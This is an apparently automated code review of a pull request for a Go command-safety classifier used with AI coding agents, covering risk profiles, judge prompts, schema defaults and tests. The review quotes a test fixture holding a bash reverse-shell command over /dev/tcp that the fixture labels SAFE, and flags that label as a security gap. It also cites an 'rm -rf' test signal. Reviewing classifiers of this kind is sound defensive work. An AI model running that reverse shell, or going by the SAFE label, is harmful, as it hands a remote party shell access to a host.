The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 5

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (2)
internal/db/schema.go (1)

106-118: ⚠️ Potential issue | 🟡 Minor

Inconsistent default values between fresh install and migration.

In applyV1, the new columns structural_decision and profile are defined without DEFAULT, meaning they will default to NULL for fresh installs. However, in applyV7 (lines 235-236), the same columns are added with DEFAULT ''. This creates an inconsistency where:

  • Fresh installs: columns default to NULL
  • Upgraded databases: columns default to empty string ''

This could cause subtle bugs if code checks == "" vs IS NULL.

🔧 Proposed fix to align defaults
 		`CREATE TABLE IF NOT EXISTS events (
 			id           INTEGER PRIMARY KEY AUTOINCREMENT,
 			timestamp    TEXT NOT NULL DEFAULT (strftime('%Y-%m-%dT%H:%M:%fZ','now')),
 			session_id   TEXT,
 			command      TEXT,
 			decision     TEXT,
-			structural_decision TEXT,
-			profile      TEXT,
+			structural_decision TEXT DEFAULT '',
+			profile      TEXT DEFAULT '',
 			rule_id      TEXT,
 			reason       TEXT,
 			duration_ms  INTEGER,
 			metadata     TEXT
 		)`,
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/db/schema.go` around lines 106 - 118, The CREATE TABLE in applyV1
defines events.columns structural_decision and profile without defaults (NULL)
while applyV7 adds them with DEFAULT '', causing inconsistent behavior; update
the CREATE TABLE statement used in applyV1 (the events table definition) to set
structural_decision TEXT DEFAULT '' and profile TEXT DEFAULT '' so fresh
installs match upgraded DBs (or alternatively remove DEFAULT '' in applyV7 if
you prefer NULLs)—ensure you change the declaration that contains the events
schema in schema.go (the CREATE TABLE IF NOT EXISTS events block) to align
defaults across applyV1 and applyV7.
internal/adapters/hook.go (1)

409-428: ⚠️ Potential issue | 🟡 Minor

StructuralDecision inconsistency in handleApproval path.

In handleApproval, the event records created at lines 411–416 and 420–425 rely on applyVerdict to populate StructuralDecision from verdict.OriginalDecision. This conditional population differs from other code paths (lines 306, 315, 323, 328) that always populate StructuralDecision via explicit logHookEventWithVerdict calls.

When verdict is nil (e.g., when result.TagOverrideEnforced is true) or when verdict.OriginalDecision is empty, StructuralDecision remains unpopulated in handleApproval events, whereas it is consistently set in all other decision paths. Consider passing structuralDecision from RunHook to handleApproval to ensure uniform event schema population.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/adapters/hook.go` around lines 409 - 428, The handleApproval path
creates EventRecord objects and relies on applyVerdict to set StructuralDecision
from verdict.OriginalDecision, which leaves StructuralDecision unset when
verdict is nil or OriginalDecision is empty; make this consistent with other
paths by passing a concrete structuralDecision into handleApproval from RunHook
(or compute it before creating the EventRecord) and set
EventRecord.StructuralDecision explicitly (same approach as
logHookEventWithVerdict) instead of depending solely on applyVerdict; update
handleApproval, its call sites in RunHook, and any uses of
applyVerdict/logHookEventWithVerdict to ensure StructuralDecision is always
populated even when verdict is nil or TagOverrideEnforced is true.
🧹 Nitpick comments (10)
internal/core/inspect_test.go (1)

424-433: Test function name is now misleading.

The function is named TestInferDecisionFromSignals_CloudSDKPlusDestructiveIsApproval but the expectation was changed to DecisionCaution. Consider renaming to TestInferDecisionFromSignals_CloudSDKPlusDestructiveIsCaution for clarity.

✏️ Suggested rename
-func TestInferDecisionFromSignals_CloudSDKPlusDestructiveIsApproval(t *testing.T) {
+func TestInferDecisionFromSignals_CloudSDKPlusDestructiveIsCaution(t *testing.T) {
 	signals := []inspect.Signal{
 		{Category: "cloud_sdk", Pattern: "boto3", Line: 1, Match: "import boto3"},
 		{Category: "destructive_fs", Pattern: "rm -rf", Line: 2, Match: "rm -rf /tmp"},
 	}
 	got := inferDecisionFromSignals(signals)
 	if got != DecisionCaution {
 		t.Errorf("expected CAUTION for cloud_sdk + destructive_fs, got %s", got)
 	}
 }
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/core/inspect_test.go` around lines 424 - 433, Rename the misleading
test function TestInferDecisionFromSignals_CloudSDKPlusDestructiveIsApproval to
reflect the expected outcome (DecisionCaution); update the function name to
TestInferDecisionFromSignals_CloudSDKPlusDestructiveIsCaution (or similar) so it
matches the assertion that inferDecisionFromSignals returns DecisionCaution for
the signals combination.
internal/cli/doctor.go (1)

333-346: Consider extracting config+profile resolution to reduce duplication.

Both checkCurrentProfile and checkJudgeAvailability independently load config and resolve the profile with identical logic. A small helper could reduce duplication.

♻️ Optional: Extract profile resolution helper
// resolveProfile loads config and returns the active profile, defaulting to relaxed.
func resolveProfile() (profile string, cfg *config.Config, err error) {
    cfg, err = config.LoadConfig(config.ConfigPath())
    if err != nil {
        return "", nil, err
    }
    profile = strings.TrimSpace(cfg.Profile)
    if profile == "" {
        profile = config.ProfileRelaxed
    }
    return profile, cfg, nil
}

This could then be used by both check functions.

Also applies to: 358-371

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/cli/doctor.go` around lines 333 - 346, Both checkCurrentProfile and
checkJudgeAvailability duplicate config loading and profile resolution logic;
extract that into a helper like resolveProfile that calls
config.LoadConfig(config.ConfigPath()), trims cfg.Profile, defaults to
config.ProfileRelaxed when empty, and returns (profile, cfg, err); then replace
the duplicate blocks in checkCurrentProfile and checkJudgeAvailability to call
resolveProfile and handle the returned error/status accordingly.
internal/cli/migration_notice_test.go (1)

22-25: Consider isolating rootCmd state between test runs.

The tests use rootCmd.SetArgs with a deferred reset, but running multiple rootCmd.Execute() calls in the same test (lines 22-41) may accumulate side effects from Cobra's internal state.

This pattern generally works but could be fragile if Cobra's persistent flags or other state isn't fully reset between executions. Consider using t.Run subtests or verifying rootCmd state is clean between executions.

Also applies to: 37-40, 65-68

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/cli/migration_notice_test.go` around lines 22 - 25, Tests call
rootCmd.SetArgs and rootCmd.Execute multiple times which can leak Cobra state
between runs; instead either run each execution in its own t.Run subtest or
instantiate a fresh command for each invocation (e.g., replace direct use of
global rootCmd in captureCLIOutput with a newRootCmd()/factory that returns a
fresh *cobra.Command) and avoid relying only on deferred rootCmd.SetArgs(nil);
ensure persistent flags/state are reset between invocations so each
captureCLIOutput call uses an independent command instance.
internal/cli/doctor_test.go (1)

610-618: Platform-specific stub executable creation.

The mustWriteExecutable helper writes a Unix shell script (#!/bin/sh). This may cause issues on Windows where shell scripts aren't directly executable.

♻️ Consider platform-aware executable stubs
 func mustWriteExecutable(t *testing.T, dir, name string) string {
 	t.Helper()
 
 	path := filepath.Join(dir, name)
+	if runtime.GOOS == "windows" {
+		path += ".exe"
+		// Windows: create a minimal valid PE or use a .bat file
+		if err := os.WriteFile(path, []byte("@echo off\nexit /b 0\n"), 0o755); err != nil {
+			t.Fatalf("write executable %s: %v", path, err)
+		}
+		return path
+	}
 	if err := os.WriteFile(path, []byte("#!/bin/sh\nexit 0\n"), 0o755); err != nil {
 		t.Fatalf("write executable %s: %v", path, err)
 	}
 	return path
 }

Note: The tests calling this helper may already be skipped on Windows elsewhere, but having platform-aware stubs would improve robustness.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/cli/doctor_test.go` around lines 610 - 618, The helper
mustWriteExecutable creates a Unix shell script which fails on Windows; update
mustWriteExecutable to be platform-aware by checking runtime.GOOS and writing an
appropriate stub: on Windows append ".bat" (or use the provided name with .bat)
and write a Windows batch stub like "exit /b 0", while on non-Windows keep the
"#!/bin/sh\nexit 0\n" content; ensure you import runtime, adjust the returned
path to include the extension on Windows, and set file permissions (os.Chmod or
0o755) on non-Windows so the file is executable.
internal/cli/config_scaffold.go (1)

29-29: Consider stricter file permissions for config file.

The config file is created with 0o644 (world-readable). While the scaffold itself contains no secrets, users may later add sensitive settings (e.g., API keys for LLM judge providers). Consider using 0o600 to prevent other users on shared systems from reading the config.

Proposed change
-	if err := os.WriteFile(path, []byte(profileAwareConfigScaffold(profile)), 0o644); err != nil {
+	if err := os.WriteFile(path, []byte(profileAwareConfigScaffold(profile)), 0o600); err != nil {
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/cli/config_scaffold.go` at line 29, The config scaffold is written
with world-readable permissions using os.WriteFile(path, ..., 0o644); update the
file mode to be owner-readable/write-only (0o600) to reduce risk of exposing
secrets users may add later—locate the os.WriteFile call that writes
profileAwareConfigScaffold(profile) and change its permission argument from
0o644 to 0o600 so the created config is only readable/writable by the owner.
internal/cli/profile_test.go (1)

163-169: Consider testing profile subcommand help as well.

The test verifies profile appears in root help, but doesn't verify the subcommand structure (profile set <name>). This could catch registration issues.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/cli/profile_test.go` around lines 163 - 169, Extend
TestProfileHelpEntryExists to also verify the profile subcommand help: call
captureHelp(t, "profile", "--help") (or captureHelp(t, "profile", "set",
"--help")) and assert the output contains the expected usage text such as "set
<name>" (or "profile set <name>") so the test fails if the profile subcommand or
its "set" usage isn't registered; update references in the test near the
existing captureHelp usage in TestProfileHelpEntryExists to add this new
assertion.
internal/cli/install_profile.go (1)

84-93: Consider using cmd.ErrOrStderr() for testability.

warnIfJudgeProviderUnavailable writes directly to os.Stderr, which makes it harder to capture and verify warnings in tests. Consider passing the error writer as a parameter or accepting a *cobra.Command to use cmd.ErrOrStderr() for consistency with the rest of the CLI.

♻️ Suggested refactor
-func warnIfJudgeProviderUnavailable(profile string) {
+func warnIfJudgeProviderUnavailable(w io.Writer, profile string) {
 	switch profile {
 	case config.ProfileBalanced, config.ProfileStrict:
 	default:
 		return
 	}
 
 	if _, err := judge.DetectProvider("", ""); err != nil {
-		fmt.Fprintf(os.Stderr, "warning: %s profile selected but no judge provider found on PATH; install claude or codex to use judge mode.\n", profile)
+		fmt.Fprintf(w, "warning: %s profile selected but no judge provider found on PATH; install claude or codex to use judge mode.\n", profile)
 	}
 }

Then call it as warnIfJudgeProviderUnavailable(cmd.ErrOrStderr(), profile).

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/cli/install_profile.go` around lines 84 - 93,
warnIfJudgeProviderUnavailable currently writes directly to os.Stderr which
makes tests brittle; change its signature to accept an io.Writer (e.g., func
warnIfJudgeProviderUnavailable(w io.Writer, profile string)) and replace the
hard-coded os.Stderr write with writes to that writer, then update all call
sites (e.g., where CLI commands invoke warnIfJudgeProviderUnavailable) to pass
cmd.ErrOrStderr() from the cobra command; keep the same behavior and message
text and preserve the call to judge.DetectProvider("", "") inside the function.
internal/cli/profile.go (2)

97-108: Intentional exclusion of custom from profile set command.

normalizeProfileSelection only allows relaxed, balanced, or strict - excluding custom. This appears intentional since custom would require manual YAML editing for the specific customizations. Consider adding a brief comment or updating the error message to clarify this is by design.

💡 Optional: clarify custom profile handling
 func normalizeProfileSelection(profile string) (string, error) {
 	switch strings.ToLower(strings.TrimSpace(profile)) {
 	case config.ProfileRelaxed:
 		return config.ProfileRelaxed, nil
 	case config.ProfileBalanced:
 		return config.ProfileBalanced, nil
 	case config.ProfileStrict:
 		return config.ProfileStrict, nil
 	default:
-		return "", fmt.Errorf("invalid profile %q (supported: relaxed, balanced, strict)", profile)
+		// custom profile requires manual YAML configuration
+		return "", fmt.Errorf("invalid profile %q (supported: relaxed, balanced, strict; use 'custom' by editing config.yaml directly)", profile)
 	}
 }
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/cli/profile.go` around lines 97 - 108, The function
normalizeProfileSelection currently accepts only config.ProfileRelaxed,
config.ProfileBalanced, and config.ProfileStrict (returning an error for any
other value) which intentionally excludes "custom"; update the code to make this
intent explicit by either adding a short comment above normalizeProfileSelection
stating that "custom" is intentionally unsupported and must be configured via
YAML, or alter the error text in the default case to read something like
"invalid profile %q (supported: relaxed, balanced, strict; 'custom' is
intentionally unsupported and must be configured via YAML)"; reference
normalizeProfileSelection and the config.ProfileRelaxed/ Balanced/ Strict
symbols when making the change.

75-78: Unused return value from LoadConfig - consider using _ explicitly.

The cfg value from LoadConfig is not used; only the error is checked. While this is valid as a config validation step, using _ explicitly would make the intent clearer.

♻️ Minor clarity improvement
-	if _, loadErr := config.LoadConfig(cfgPath); loadErr != nil {
+	if _, loadErr := config.LoadConfig(cfgPath); loadErr != nil {
 		return loadErr
 	}

Actually, this is already using _. The pattern is fine - this validates the config is parseable before modification.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/cli/profile.go` around lines 75 - 78, The call to
config.LoadConfig(cfgPath) returns a config and an error but the config is
unused; update the if-statement to explicitly discard the config with an
underscore (e.g., if _, err := config.LoadConfig(cfgPath); err != nil { return
err }) and/or add a brief comment above the call clarifying this is only a
validation step (referencing cfgPath and config.LoadConfig).
internal/config/config.go (1)

131-157: Consider consolidating YAML unmarshaling to reduce parsing overhead.

LoadConfig unmarshals the YAML data three times:

  1. Line 132: into overlay
  2. Line 138: into raw map
  3. Line 152: into cfg (profile-seeded)

While functionally correct, this could be simplified. The raw map parse is needed for profile resolution, but the overlay parse might be avoidable if resolveProfile extracted llm_judge.mode from the raw map instead.

♻️ Potential simplification
 func LoadConfig(path string) (*Config, error) {
 	data, err := os.ReadFile(path)
 	if err != nil {
 		if os.IsNotExist(err) {
 			return DefaultConfig(), nil
 		}
 		return nil, err
 	}
-	var overlay Config
-	err = yaml.Unmarshal(data, &overlay)
-	if err != nil {
-		return nil, err
-	}

 	var raw map[string]interface{}
 	err = yaml.Unmarshal(data, &raw)
 	if err != nil {
 		return nil, err
 	}

-	profile, err := resolveProfile(raw, &overlay)
+	profile, err := resolveProfile(raw)
 	if err != nil {
 		return nil, err
 	}

Then update resolveProfile to extract llm_judge.mode from the raw map.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/config/config.go` around lines 131 - 157, LoadConfig currently
unmarshals the same YAML three times (into overlay, raw, and cfg); reduce
overhead by removing the intermediate overlay unmarshal and instead have
resolveProfile accept the already-parsed raw map to extract llm_judge.mode (or
any other fields) directly, then call ProfileDefaults(profile) and unmarshal
data once into the resulting cfg before validateCautionFallback; update function
references: remove usage of overlay in LoadConfig, change resolveProfile
signature to accept map[string]interface{} (and extract llm_judge.mode there),
keep validateCautionFallback(raw) and the final yaml.Unmarshal into cfg as-is.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@internal/cli/install_test.go`:
- Around line 182-210: In
TestInstallClaudePromptsForBalancedProfileAndWarnsWhenNoProvider, fix the two
t.Fatalf format strings that currently use escaped backslashes ("\\n") so they
emit real newlines; update the calls in that test (the t.Fatalf that reports
stdout and the t.Fatalf that reports stderr) to use "\n" instead of "\\n" so the
output appears on a new line when the assertion fails.
- Around line 212-236: The error messages in
TestInstallCodexDefaultsToRelaxedProfileWhenInputIsEmpty contain escaped
newlines (`\\n`) instead of actual newlines; update the two t.Fatalf calls in
that test (the one checking stdout and the one checking stderr) to use a real
newline escape (`\n`) in the format string so the output prints on a new line
(refer to TestInstallCodexDefaultsToRelaxedProfileWhenInputIsEmpty and the
t.Fatalf calls that include "expected relaxed selection output" and "expected no
stderr for relaxed default").

In `@internal/core/classify.go`:
- Around line 697-698: The fallback return currently sets
commandClassificationResult{decision: DecisionSafe, reason: "unknown command (no
matching rule)", dryRunMatches: dryRunMatches}; change it so unknown/unmatched
command fallthrough returns a CAUTION decision instead (use DecisionCaution) and
update the reason text accordingly (e.g., "unknown command (no matching rule) -
fallback to CAUTION") while preserving dryRunMatches; modify the return in
classify.go where commandClassificationResult is constructed to reference
DecisionCaution instead of DecisionSafe.

In `@internal/judge/prompt.go`:
- Line 30: Update the judge prompt text in internal/judge/prompt.go so it
describes risk categories (e.g., SAFE, CAUTION, DANGEROUS) and how the model
should assess content risk, without mentioning enforcement actions,
auto-approval, or any specific profile behavior; find the prompt string (e.g.,
the judgePrompt or prompt constant) and replace lines like "CAUTION: suspicious
but usually acceptable; auto-approved unless you escalate it" with neutral
risk-focused wording that allows the judge to move classifications up or down
(e.g., explain what CAUTION indicates about potential risk and uncertainty, and
that APPROVAL/SAFE/DANGEROUS are independent risk labels), ensuring no language
ties outputs to a relaxed-profile enforcement policy.

In `@testdata/fixtures/commands.yaml`:
- Around line 511-516: The test vector for "bash -i >& /dev/tcp/10.0.0.1/4444
0>&1" is incorrectly marked SAFE; add a hardcoded detection for /dev/tcp-style
TCP redirections in the command classifier (e.g., the function that evaluates
unknown-command fallbacks like classifyCommand / Classify) so that any command
string matching a regex like /\/dev\/tcp/ or "reverse shell" patterns is flagged
as CAUTION (or higher), and update the fixture entry for the exact command
string "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" to expected: "CAUTION" (and
adjust the description to remove "unknown-command fallback remains SAFE").

---

Outside diff comments:
In `@internal/adapters/hook.go`:
- Around line 409-428: The handleApproval path creates EventRecord objects and
relies on applyVerdict to set StructuralDecision from verdict.OriginalDecision,
which leaves StructuralDecision unset when verdict is nil or OriginalDecision is
empty; make this consistent with other paths by passing a concrete
structuralDecision into handleApproval from RunHook (or compute it before
creating the EventRecord) and set EventRecord.StructuralDecision explicitly
(same approach as logHookEventWithVerdict) instead of depending solely on
applyVerdict; update handleApproval, its call sites in RunHook, and any uses of
applyVerdict/logHookEventWithVerdict to ensure StructuralDecision is always
populated even when verdict is nil or TagOverrideEnforced is true.

In `@internal/db/schema.go`:
- Around line 106-118: The CREATE TABLE in applyV1 defines events.columns
structural_decision and profile without defaults (NULL) while applyV7 adds them
with DEFAULT '', causing inconsistent behavior; update the CREATE TABLE
statement used in applyV1 (the events table definition) to set
structural_decision TEXT DEFAULT '' and profile TEXT DEFAULT '' so fresh
installs match upgraded DBs (or alternatively remove DEFAULT '' in applyV7 if
you prefer NULLs)—ensure you change the declaration that contains the events
schema in schema.go (the CREATE TABLE IF NOT EXISTS events block) to align
defaults across applyV1 and applyV7.

---

Nitpick comments:
In `@internal/cli/config_scaffold.go`:
- Line 29: The config scaffold is written with world-readable permissions using
os.WriteFile(path, ..., 0o644); update the file mode to be
owner-readable/write-only (0o600) to reduce risk of exposing secrets users may
add later—locate the os.WriteFile call that writes
profileAwareConfigScaffold(profile) and change its permission argument from
0o644 to 0o600 so the created config is only readable/writable by the owner.

In `@internal/cli/doctor_test.go`:
- Around line 610-618: The helper mustWriteExecutable creates a Unix shell
script which fails on Windows; update mustWriteExecutable to be platform-aware
by checking runtime.GOOS and writing an appropriate stub: on Windows append
".bat" (or use the provided name with .bat) and write a Windows batch stub like
"exit /b 0", while on non-Windows keep the "#!/bin/sh\nexit 0\n" content; ensure
you import runtime, adjust the returned path to include the extension on
Windows, and set file permissions (os.Chmod or 0o755) on non-Windows so the file
is executable.

In `@internal/cli/doctor.go`:
- Around line 333-346: Both checkCurrentProfile and checkJudgeAvailability
duplicate config loading and profile resolution logic; extract that into a
helper like resolveProfile that calls config.LoadConfig(config.ConfigPath()),
trims cfg.Profile, defaults to config.ProfileRelaxed when empty, and returns
(profile, cfg, err); then replace the duplicate blocks in checkCurrentProfile
and checkJudgeAvailability to call resolveProfile and handle the returned
error/status accordingly.

In `@internal/cli/install_profile.go`:
- Around line 84-93: warnIfJudgeProviderUnavailable currently writes directly to
os.Stderr which makes tests brittle; change its signature to accept an io.Writer
(e.g., func warnIfJudgeProviderUnavailable(w io.Writer, profile string)) and
replace the hard-coded os.Stderr write with writes to that writer, then update
all call sites (e.g., where CLI commands invoke warnIfJudgeProviderUnavailable)
to pass cmd.ErrOrStderr() from the cobra command; keep the same behavior and
message text and preserve the call to judge.DetectProvider("", "") inside the
function.

In `@internal/cli/migration_notice_test.go`:
- Around line 22-25: Tests call rootCmd.SetArgs and rootCmd.Execute multiple
times which can leak Cobra state between runs; instead either run each execution
in its own t.Run subtest or instantiate a fresh command for each invocation
(e.g., replace direct use of global rootCmd in captureCLIOutput with a
newRootCmd()/factory that returns a fresh *cobra.Command) and avoid relying only
on deferred rootCmd.SetArgs(nil); ensure persistent flags/state are reset
between invocations so each captureCLIOutput call uses an independent command
instance.

In `@internal/cli/profile_test.go`:
- Around line 163-169: Extend TestProfileHelpEntryExists to also verify the
profile subcommand help: call captureHelp(t, "profile", "--help") (or
captureHelp(t, "profile", "set", "--help")) and assert the output contains the
expected usage text such as "set <name>" (or "profile set <name>") so the test
fails if the profile subcommand or its "set" usage isn't registered; update
references in the test near the existing captureHelp usage in
TestProfileHelpEntryExists to add this new assertion.

In `@internal/cli/profile.go`:
- Around line 97-108: The function normalizeProfileSelection currently accepts
only config.ProfileRelaxed, config.ProfileBalanced, and config.ProfileStrict
(returning an error for any other value) which intentionally excludes "custom";
update the code to make this intent explicit by either adding a short comment
above normalizeProfileSelection stating that "custom" is intentionally
unsupported and must be configured via YAML, or alter the error text in the
default case to read something like "invalid profile %q (supported: relaxed,
balanced, strict; 'custom' is intentionally unsupported and must be configured
via YAML)"; reference normalizeProfileSelection and the config.ProfileRelaxed/
Balanced/ Strict symbols when making the change.
- Around line 75-78: The call to config.LoadConfig(cfgPath) returns a config and
an error but the config is unused; update the if-statement to explicitly discard
the config with an underscore (e.g., if _, err := config.LoadConfig(cfgPath);
err != nil { return err }) and/or add a brief comment above the call clarifying
this is only a validation step (referencing cfgPath and config.LoadConfig).

In `@internal/config/config.go`:
- Around line 131-157: LoadConfig currently unmarshals the same YAML three times
(into overlay, raw, and cfg); reduce overhead by removing the intermediate
overlay unmarshal and instead have resolveProfile accept the already-parsed raw
map to extract llm_judge.mode (or any other fields) directly, then call
ProfileDefaults(profile) and unmarshal data once into the resulting cfg before
validateCautionFallback; update function references: remove usage of overlay in
LoadConfig, change resolveProfile signature to accept map[string]interface{}
(and extract llm_judge.mode there), keep validateCautionFallback(raw) and the
final yaml.Unmarshal into cfg as-is.

In `@internal/core/inspect_test.go`:
- Around line 424-433: Rename the misleading test function
TestInferDecisionFromSignals_CloudSDKPlusDestructiveIsApproval to reflect the
expected outcome (DecisionCaution); update the function name to
TestInferDecisionFromSignals_CloudSDKPlusDestructiveIsCaution (or similar) so it
matches the assertion that inferDecisionFromSignals returns DecisionCaution for
the signals combination.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: 27116b03-77b4-4016-9b7f-4999b7ed767c

📥 Commits

Reviewing files that changed from the base of the PR and between 9aa94dc and 6526313.

📒 Files selected for processing (38)
  • integration_test.go
  • internal/adapters/codexshell.go
  • internal/adapters/effective_decision.go
  • internal/adapters/effective_decision_test.go
  • internal/adapters/hook.go
  • internal/adapters/hook_test.go
  • internal/adapters/runner.go
  • internal/cli/config_scaffold.go
  • internal/cli/doctor.go
  • internal/cli/doctor_test.go
  • internal/cli/help.go
  • internal/cli/help_test.go
  • internal/cli/install.go
  • internal/cli/install_profile.go
  • internal/cli/install_test.go
  • internal/cli/migration_notice.go
  • internal/cli/migration_notice_test.go
  • internal/cli/profile.go
  • internal/cli/profile_test.go
  • internal/cli/root.go
  • internal/config/config.go
  • internal/config/config_test.go
  • internal/core/classify.go
  • internal/core/classify_test.go
  • internal/core/classify_winshell_test.go
  • internal/core/fixture_coverage_test.go
  • internal/core/inspect.go
  • internal/core/inspect_test.go
  • internal/core/mcpclassify.go
  • internal/core/mcpclassify_test.go
  • internal/core/urlinspect.go
  • internal/core/urlinspect_test.go
  • internal/db/events.go
  • internal/db/schema.go
  • internal/judge/prompt.go
  • internal/policy/builtins_core.go
  • internal/policy/builtins_security.go
  • testdata/fixtures/commands.yaml

Comment thread internal/cli/install_test.go
Comment thread internal/cli/install_test.go
Comment thread internal/core/classify.go
Comment thread internal/judge/prompt.go Outdated
Comment thread testdata/fixtures/commands.yaml

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

♻️ Duplicate comments (1)
testdata/fixtures/commands.yaml (1)

511-513: ⚠️ Potential issue | 🟠 Major

Security regression: bash reverse shell must not be classified as SAFE.

This test fixture change codifies a security gap. The command bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 is a classic reverse shell technique that establishes an interactive shell connection to a remote attacker. Classifying it as SAFE means the classifier fails to detect this dangerous pattern.

The description "unknown-command fallback remains SAFE" confirms the classifier doesn't recognize this, but that's the bug—not a valid test expectation. A hardcoded detection rule for /dev/tcp redirections should be added to the classifier.

Suggested fix
  - command: "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
-   expected: "SAFE"
-   description: "bash reverse shell via /dev/tcp — unknown-command fallback remains SAFE"
+   expected: "CAUTION"
+   description: "bash reverse shell via /dev/tcp — pattern must be detected as a risk"
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@internal/adapters/profile_behavior_integration_test.go`:
- Around line 171-173: TestProfileBehavior_RunHook_CautionCommand calls
setFakeJudgePathForBehaviorTest which creates a Unix shell script, so add the
same Windows guard used elsewhere: at the start of
TestProfileBehavior_RunHook_CautionCommand check runtime.GOOS == "windows" and
t.Skip("skipping on windows") to avoid running on Windows; locate the test
function TestProfileBehavior_RunHook_CautionCommand and insert the skip before
calling setFakeJudgePathForBehaviorTest (using the runtime.GOOS check) so the
test is bypassed on Windows.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: b8680958-d6ce-4b3e-b80a-5b965ecd230f

📥 Commits

Reviewing files that changed from the base of the PR and between 6526313 and b764424.

📒 Files selected for processing (6)
  • README.md
  • docs/README.md
  • docs/profiles.md
  • internal/adapters/hook.go
  • internal/adapters/profile_behavior_integration_test.go
  • testdata/fixtures/commands.yaml
✅ Files skipped from review due to trivial changes (4)
  • docs/README.md
  • README.md
  • docs/profiles.md
  • internal/adapters/hook.go

Comment thread internal/adapters/profile_behavior_integration_test.go
@kody-ai

This comment has been minimized.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@internal/judge/provider.go`:
- Around line 137-143: probeProviderAuth mislabels the Codex auth file and can
falsely report readiness when codexAuthPath() returns a temp fallback or when a
directory passes the Size() check; update the check logic in probeProviderAuth
to (1) call codexAuthPath() and if it returns a path that is the temp fallback
treat it as not present (do not report configured), (2) map the actual checked
path to an accurate source label (e.g. use "~/.codex/auth.json" when the path
equals the user's homedir .codex path, and use "CODEX_HOME/auth.json" only when
coming from CODEX_HOME), and (3) when using os.Stat on the returned path ensure
the entry is a regular file by verifying !info.IsDir() and info.Size() > 0
before returning configured=true; apply the same fixes to the other occurrence
mentioned (lines 162-170) referencing probeProviderAuth and codexAuthPath.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: 2b48e741-51b2-417e-bb1a-f273456499d2

📥 Commits

Reviewing files that changed from the base of the PR and between b764424 and 856f6c8.

📒 Files selected for processing (56)
  • .gitignore
  • .tickets/fus-0r82.md
  • .tickets/fus-28ni.md
  • .tickets/fus-2e2q.md
  • .tickets/fus-3n90.md
  • .tickets/fus-4gzq.md
  • .tickets/fus-556x.md
  • .tickets/fus-5tax.md
  • .tickets/fus-6qhn.md
  • .tickets/fus-b2yw.md
  • .tickets/fus-c7gm.md
  • .tickets/fus-d8fn.md
  • .tickets/fus-e3pw.md
  • .tickets/fus-f4qx.md
  • .tickets/fus-fx68.md
  • .tickets/fus-g4vs.md
  • .tickets/fus-g5ry.md
  • .tickets/fus-h5rz.md
  • .tickets/fus-h6sz.md
  • .tickets/fus-ipkg.md
  • .tickets/fus-iviw.md
  • .tickets/fus-izck.md
  • .tickets/fus-j6qd.md
  • .tickets/fus-j7ta.md
  • .tickets/fus-j81l.md
  • .tickets/fus-jlcm.md
  • .tickets/fus-jq6z.md
  • .tickets/fus-k3tn.md
  • .tickets/fus-k8ub.md
  • .tickets/fus-kyal.md
  • .tickets/fus-l9vc.md
  • .tickets/fus-llzr.md
  • .tickets/fus-lzxe.md
  • .tickets/fus-m1wd.md
  • .tickets/fus-n2xe.md
  • .tickets/fus-n4d6.md
  • .tickets/fus-n4hd.md
  • .tickets/fus-p3cw.md
  • .tickets/fus-p3yf.md
  • .tickets/fus-p50r.md
  • .tickets/fus-q8xp.md
  • .tickets/fus-r2kf.md
  • .tickets/fus-r7km.md
  • .tickets/fus-rh1w.md
  • .tickets/fus-t4vn.md
  • .tickets/fus-tssy.md
  • .tickets/fus-tvat.md
  • .tickets/fus-v9mr.md
  • .tickets/fus-w2ht.md
  • .tickets/fus-wrx7.md
  • internal/adapters/profile_behavior_integration_test.go
  • internal/cli/doctor.go
  • internal/cli/doctor_test.go
  • internal/judge/provider.go
  • internal/judge/provider_test.go
  • internal/releasecheck/releasecheck_test.go
💤 Files with no reviewable changes (49)
  • .tickets/fus-k8ub.md
  • .tickets/fus-c7gm.md
  • .tickets/fus-kyal.md
  • .tickets/fus-iviw.md
  • .tickets/fus-4gzq.md
  • .tickets/fus-p50r.md
  • .tickets/fus-556x.md
  • .tickets/fus-g5ry.md
  • .tickets/fus-tssy.md
  • .tickets/fus-n2xe.md
  • .tickets/fus-0r82.md
  • .tickets/fus-2e2q.md
  • .tickets/fus-izck.md
  • .tickets/fus-28ni.md
